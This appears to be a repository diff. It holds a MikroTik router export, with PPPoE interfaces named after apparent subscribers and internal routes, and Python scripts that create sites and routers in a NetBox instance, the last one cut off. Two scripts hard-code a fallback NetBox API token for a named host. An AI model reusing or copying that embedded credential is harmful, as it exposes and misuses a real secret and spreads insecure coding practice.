"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chasewilliams>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-crystalharney>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-cynthiajones>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-donnacampbell>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-douggarber>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-eddieyarbrough>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-elviraquezada>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1484
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-glendabeauchamp>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-gordonhamilton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-gregmcintire>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-janicealexander>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jenniferboon>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jmichaelculverhouse>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-johnvayo>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-marysmelser>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-matthewgoodwin>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mauriciosoto>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-michaelray>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-rhondabolton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-richardbarragan>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-robbymccollom>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ruthfengler>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-taekim>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-tammieventris>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-timbagert>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-timgilbert>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "climax-bridge",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "F4:1E:57:6B:41:C1",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "F4:1E:57:6B:41:C6",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_sfp-sfpplus1",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "F4:1E:57:6B:41:D0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether7",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether7-switch"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_sfp-sfpplus1",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "sfp-sfpplus1"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": "Climax",
|
||||||
|
"interface": "climax-bridge"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": [
|
||||||
|
{
|
||||||
|
"destination": "10.10.0.0/20",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.10.80.0/20",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.64/29",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.101/32",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.111/32",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.10.160.0/20",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.0.0/22",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.160.0/20",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.64/27",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.224/27",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.191.0/27",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
309
create_site_and_router.py
Normal file
309
create_site_and_router.py
Normal file
|
|
@ -0,0 +1,309 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
class NetBoxManager:
|
||||||
|
def __init__(self, url, token):
|
||||||
|
self.base_url = url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def post(self, endpoint, data):
|
||||||
|
"""Make POST request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.post(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error creating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def patch(self, endpoint, data):
|
||||||
|
"""Make PATCH request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.patch(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error updating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
|
||||||
|
"""Create a new site"""
|
||||||
|
if not slug:
|
||||||
|
slug = name.lower().replace(' ', '-').replace('_', '-')
|
||||||
|
|
||||||
|
site_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': slug,
|
||||||
|
'status': status,
|
||||||
|
'comments': comments
|
||||||
|
}
|
||||||
|
|
||||||
|
if physical_address:
|
||||||
|
site_data['physical_address'] = physical_address
|
||||||
|
|
||||||
|
return self.post('dcim/sites/', site_data)
|
||||||
|
|
||||||
|
def create_device(self, name, device_type_id, role_id, site_id, status='active', primary_ip=None):
|
||||||
|
"""Create a new device"""
|
||||||
|
device_data = {
|
||||||
|
'name': name,
|
||||||
|
'device_type': device_type_id,
|
||||||
|
'role': role_id,
|
||||||
|
'site': site_id,
|
||||||
|
'status': status
|
||||||
|
}
|
||||||
|
|
||||||
|
if primary_ip:
|
||||||
|
device_data['primary_ip4'] = primary_ip
|
||||||
|
|
||||||
|
return self.post('dcim/devices/', device_data)
|
||||||
|
|
||||||
|
def create_ip_address(self, address, status='active', description='', role=None):
|
||||||
|
"""Create a new IP address"""
|
||||||
|
ip_data = {
|
||||||
|
'address': address,
|
||||||
|
'status': status,
|
||||||
|
'description': description
|
||||||
|
}
|
||||||
|
|
||||||
|
if role:
|
||||||
|
ip_data['role'] = role
|
||||||
|
|
||||||
|
return self.post('ipam/ip-addresses/', ip_data)
|
||||||
|
|
||||||
|
def get_or_create_manufacturer(self, name):
|
||||||
|
"""Get or create a manufacturer"""
|
||||||
|
response = self.get('dcim/manufacturers/', params={'name': name})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create manufacturer
|
||||||
|
mfg_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': name.lower()
|
||||||
|
}
|
||||||
|
created = self.post('dcim/manufacturers/', mfg_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
def get_or_create_device_type(self, model, manufacturer_id):
|
||||||
|
"""Get or create a device type"""
|
||||||
|
response = self.get('dcim/device-types/', params={'model': model})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create device type
|
||||||
|
dt_data = {
|
||||||
|
'manufacturer': manufacturer_id,
|
||||||
|
'model': model,
|
||||||
|
'slug': model.lower().replace(' ', '-').replace('/', '-')
|
||||||
|
}
|
||||||
|
created = self.post('dcim/device-types/', dt_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
def get_or_create_device_role(self, name, slug=None):
|
||||||
|
"""Get or create a device role"""
|
||||||
|
if not slug:
|
||||||
|
slug = name.lower().replace(' ', '-')
|
||||||
|
|
||||||
|
response = self.get('dcim/device-roles/', params={'name': name})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create device role
|
||||||
|
role_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': slug,
|
||||||
|
'color': '2196f3' # Blue color
|
||||||
|
}
|
||||||
|
created = self.post('dcim/device-roles/', role_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
|
||||||
|
def create_site_and_router(site_name, router_ip, router_name=None, manufacturer='MikroTik',
|
||||||
|
device_type='RouterBOARD', device_role='Router',
|
||||||
|
site_comments='', physical_address=''):
|
||||||
|
"""
|
||||||
|
Create a site and router in NetBox
|
||||||
|
|
||||||
|
Args:
|
||||||
|
site_name: Name of the site (e.g., 'Verona', 'Climax')
|
||||||
|
router_ip: Loopback IP of the router (e.g., '10.254.254.101')
|
||||||
|
router_name: Name for the router device (defaults to '{site_name}-router')
|
||||||
|
manufacturer: Device manufacturer (default: MikroTik)
|
||||||
|
device_type: Device model/type (default: RouterBOARD)
|
||||||
|
device_role: Role of the device (default: Router)
|
||||||
|
site_comments: Comments for the site
|
||||||
|
physical_address: Physical address of the site
|
||||||
|
"""
|
||||||
|
# Get API token from environment variable or use the one from CLAUDE.md
|
||||||
|
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
# Initialize NetBox client
|
||||||
|
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
|
||||||
|
|
||||||
|
# Default router name if not provided
|
||||||
|
if not router_name:
|
||||||
|
router_name = f"{site_name.lower()}-router"
|
||||||
|
|
||||||
|
# Default site comments if not provided
|
||||||
|
if not site_comments:
|
||||||
|
site_comments = f"{site_name} tower site with {manufacturer} router"
|
||||||
|
|
||||||
|
print(f"=== Creating {site_name} Site and Router in NetBox ===\n")
|
||||||
|
|
||||||
|
# Check if site exists
|
||||||
|
site_response = nb.get('dcim/sites/', params={'name': site_name})
|
||||||
|
|
||||||
|
if site_response['count'] == 0:
|
||||||
|
# Create site
|
||||||
|
print(f"Creating {site_name} site...")
|
||||||
|
try:
|
||||||
|
site = nb.create_site(
|
||||||
|
name=site_name,
|
||||||
|
slug=site_name.lower(),
|
||||||
|
status='active',
|
||||||
|
comments=site_comments,
|
||||||
|
physical_address=physical_address
|
||||||
|
)
|
||||||
|
site_id = site['id']
|
||||||
|
print(f"✓ Created {site_name} site (ID: {site_id})")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create {site_name} site: {e}")
|
||||||
|
return None, None
|
||||||
|
else:
|
||||||
|
site_id = site_response['results'][0]['id']
|
||||||
|
print(f"✓ {site_name} site already exists (ID: {site_id})")
|
||||||
|
|
||||||
|
# Check if router already exists
|
||||||
|
device_response = nb.get('dcim/devices/', params={'name': router_name, 'site_id': site_id})
|
||||||
|
|
||||||
|
if device_response['count'] == 0:
|
||||||
|
print(f"\nCreating {router_name} device...")
|
||||||
|
|
||||||
|
# Get or create manufacturer
|
||||||
|
print(f" - Setting up manufacturer ({manufacturer})...")
|
||||||
|
manufacturer_id = nb.get_or_create_manufacturer(manufacturer)
|
||||||
|
|
||||||
|
# Get or create device type
|
||||||
|
print(f" - Setting up device type ({device_type})...")
|
||||||
|
device_type_id = nb.get_or_create_device_type(device_type, manufacturer_id)
|
||||||
|
|
||||||
|
# Get or create device role
|
||||||
|
print(f" - Setting up device role ({device_role})...")
|
||||||
|
role_id = nb.get_or_create_device_role(device_role)
|
||||||
|
|
||||||
|
# Create the device
|
||||||
|
try:
|
||||||
|
device = nb.create_device(
|
||||||
|
name=router_name,
|
||||||
|
device_type_id=device_type_id,
|
||||||
|
role_id=role_id,
|
||||||
|
site_id=site_id,
|
||||||
|
status='active'
|
||||||
|
)
|
||||||
|
device_id = device['id']
|
||||||
|
print(f"✓ Created {router_name} device (ID: {device_id})")
|
||||||
|
|
||||||
|
# Add primary IP
|
||||||
|
print(f"\n - Adding primary IP address ({router_ip}/32)...")
|
||||||
|
|
||||||
|
# Check if IP already exists
|
||||||
|
ip_response = nb.get('ipam/ip-addresses/', params={'address': f"{router_ip}/32"})
|
||||||
|
|
||||||
|
if ip_response['count'] == 0:
|
||||||
|
# Create IP address
|
||||||
|
try:
|
||||||
|
ip_data = nb.create_ip_address(
|
||||||
|
address=f"{router_ip}/32",
|
||||||
|
status='active',
|
||||||
|
description=f'{router_name} loopback',
|
||||||
|
role='loopback'
|
||||||
|
)
|
||||||
|
ip_id = ip_data['id']
|
||||||
|
print(f"✓ Created IP address {router_ip}/32")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create IP address: {e}")
|
||||||
|
ip_id = None
|
||||||
|
else:
|
||||||
|
ip_id = ip_response['results'][0]['id']
|
||||||
|
print(f"✓ IP address {router_ip}/32 already exists")
|
||||||
|
|
||||||
|
# Set as primary IP for the device
|
||||||
|
if ip_id:
|
||||||
|
try:
|
||||||
|
device_update = {
|
||||||
|
'primary_ip4': ip_id
|
||||||
|
}
|
||||||
|
nb.patch(f"dcim/devices/{device_id}/", device_update)
|
||||||
|
print("✓ Set as primary IP for device")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to set primary IP: {e}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create {router_name}: {e}")
|
||||||
|
return site_id, None
|
||||||
|
else:
|
||||||
|
device_id = device_response['results'][0]['id']
|
||||||
|
print(f"✓ {router_name} already exists (ID: {device_id})")
|
||||||
|
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Site: {site_name} (ID: {site_id})")
|
||||||
|
print(f"Device: {router_name} (ID: {device_id})")
|
||||||
|
|
||||||
|
return site_id, device_id
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Create a site and router in NetBox')
|
||||||
|
parser.add_argument('site_name', help='Name of the site (e.g., Verona, Climax)')
|
||||||
|
parser.add_argument('router_ip', help='Loopback IP of the router (e.g., 10.254.254.101)')
|
||||||
|
parser.add_argument('--router-name', help='Name for the router (default: {site}-router)')
|
||||||
|
parser.add_argument('--manufacturer', default='MikroTik', help='Device manufacturer')
|
||||||
|
parser.add_argument('--device-type', default='RouterBOARD', help='Device model/type')
|
||||||
|
parser.add_argument('--device-role', default='Router', help='Device role')
|
||||||
|
parser.add_argument('--site-comments', help='Comments for the site')
|
||||||
|
parser.add_argument('--physical-address', help='Physical address of the site')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
site_id, device_id = create_site_and_router(
|
||||||
|
site_name=args.site_name,
|
||||||
|
router_ip=args.router_ip,
|
||||||
|
router_name=args.router_name,
|
||||||
|
manufacturer=args.manufacturer,
|
||||||
|
device_type=args.device_type,
|
||||||
|
device_role=args.device_role,
|
||||||
|
site_comments=args.site_comments,
|
||||||
|
physical_address=args.physical_address
|
||||||
|
)
|
||||||
|
|
||||||
|
if site_id and device_id:
|
||||||
|
print(f"\nSuccess! You can now add network data for this site.")
|
||||||
|
return 0
|
||||||
|
else:
|
||||||
|
print(f"\nPartial success or failure. Check the output above.")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
140
create_site_only.py
Normal file
140
create_site_only.py
Normal file
|
|
@ -0,0 +1,140 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
import requests
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
class NetBoxManager:
|
||||||
|
def __init__(self, url, token):
|
||||||
|
self.base_url = url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def post(self, endpoint, data):
|
||||||
|
"""Make POST request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.post(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error creating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
|
||||||
|
"""Create a new site"""
|
||||||
|
if not slug:
|
||||||
|
slug = name.lower().replace(' ', '-').replace('_', '-')
|
||||||
|
|
||||||
|
site_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': slug,
|
||||||
|
'status': status,
|
||||||
|
'comments': comments
|
||||||
|
}
|
||||||
|
|
||||||
|
if physical_address:
|
||||||
|
site_data['physical_address'] = physical_address
|
||||||
|
|
||||||
|
return self.post('dcim/sites/', site_data)
|
||||||
|
|
||||||
|
|
||||||
|
def create_site(site_name, site_comments='', physical_address='', slug=None):
|
||||||
|
"""
|
||||||
|
Create a site in NetBox
|
||||||
|
|
||||||
|
Args:
|
||||||
|
site_name: Name of the site
|
||||||
|
site_comments: Comments for the site
|
||||||
|
physical_address: Physical address of the site
|
||||||
|
slug: Custom slug for the site (defaults to lowercase hyphenated name)
|
||||||
|
"""
|
||||||
|
# Get API token from environment variable or use the one from CLAUDE.md
|
||||||
|
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
# Initialize NetBox client
|
||||||
|
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
|
||||||
|
|
||||||
|
print(f"=== Creating {site_name} Site in NetBox ===\n")
|
||||||
|
|
||||||
|
# Check if site exists
|
||||||
|
site_response = nb.get('dcim/sites/', params={'name': site_name})
|
||||||
|
|
||||||
|
if site_response['count'] == 0:
|
||||||
|
# Create site
|
||||||
|
print(f"Creating {site_name} site...")
|
||||||
|
try:
|
||||||
|
site = nb.create_site(
|
||||||
|
name=site_name,
|
||||||
|
slug=slug,
|
||||||
|
status='active',
|
||||||
|
comments=site_comments,
|
||||||
|
physical_address=physical_address
|
||||||
|
)
|
||||||
|
site_id = site['id']
|
||||||
|
print(f"✓ Created {site_name} site (ID: {site_id})")
|
||||||
|
print(f" Name: {site['name']}")
|
||||||
|
print(f" Slug: {site['slug']}")
|
||||||
|
print(f" Status: {site['status']['label']}")
|
||||||
|
if site_comments:
|
||||||
|
print(f" Comments: {site_comments}")
|
||||||
|
if physical_address:
|
||||||
|
print(f" Address: {physical_address}")
|
||||||
|
return site_id
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Failed to create {site_name} site: {e}")
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
site = site_response['results'][0]
|
||||||
|
site_id = site['id']
|
||||||
|
print(f"✓ {site_name} site already exists (ID: {site_id})")
|
||||||
|
print(f" Name: {site['name']}")
|
||||||
|
print(f" Slug: {site['slug']}")
|
||||||
|
print(f" Status: {site['status']['label']}")
|
||||||
|
if site.get('comments'):
|
||||||
|
print(f" Comments: {site['comments']}")
|
||||||
|
return site_id
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Create a site in NetBox')
|
||||||
|
parser.add_argument('site_name', help='Name of the site')
|
||||||
|
parser.add_argument('--comments', help='Comments for the site')
|
||||||
|
parser.add_argument('--address', help='Physical address of the site')
|
||||||
|
parser.add_argument('--slug', help='Custom slug for the site')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
site_id = create_site(
|
||||||
|
site_name=args.site_name,
|
||||||
|
site_comments=args.comments or '',
|
||||||
|
physical_address=args.address or '',
|
||||||
|
slug=args.slug
|
||||||
|
)
|
||||||
|
|
||||||
|
if site_id:
|
||||||
|
print(f"\nSuccess! Site created with ID: {site_id}")
|
||||||
|
print(f"You can now add devices to this site using:")
|
||||||
|
print(f" python3 create_site_and_router.py \"{args.site_name}\" <router_ip> --router-name <name>")
|
||||||
|
return 0
|
||||||
|
else:
|
||||||
|
print(f"\nFailed to create site.")
|
||||||
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
207
create_verona_site_and_router.py
Normal file
207
create_verona_site_and_router.py
Normal file
|
|
@ -0,0 +1,207 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
class NetBoxManager:
|
||||||
|
def __init__(self, url, token):
|
||||||
|
self.base_url = url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def post(self, endpoint, data):
|
||||||
|
"""Make POST request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.post(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error creating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def create_site(self, name, slug=None, status='active', comments=''):
|
||||||
|
"""Create a new site"""
|
||||||
|
if not slug:
|
||||||
|
slug = name.lower().replace(' ', '-')
|
||||||
|
|
||||||
|
site_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': slug,
|
||||||
|
'status': status,
|
||||||
|
'comments': comments
|
||||||
|
}
|
||||||
|
|
||||||
|
return self.post('dcim/sites/', site_data)
|
||||||
|
|
||||||
|
def create_device(self, name, device_type_id, role_id, site_id, status='active'):
|
||||||
|
"""Create a new device"""
|
||||||
|
device_data = {
|
||||||
|
'name': name,
|
||||||
|
'device_type': device_type_id,
|
||||||
|
'role': role_id,
|
||||||
|
'site': site_id,
|
||||||
|
'status': status
|
||||||
|
}
|
||||||
|
|
||||||
|
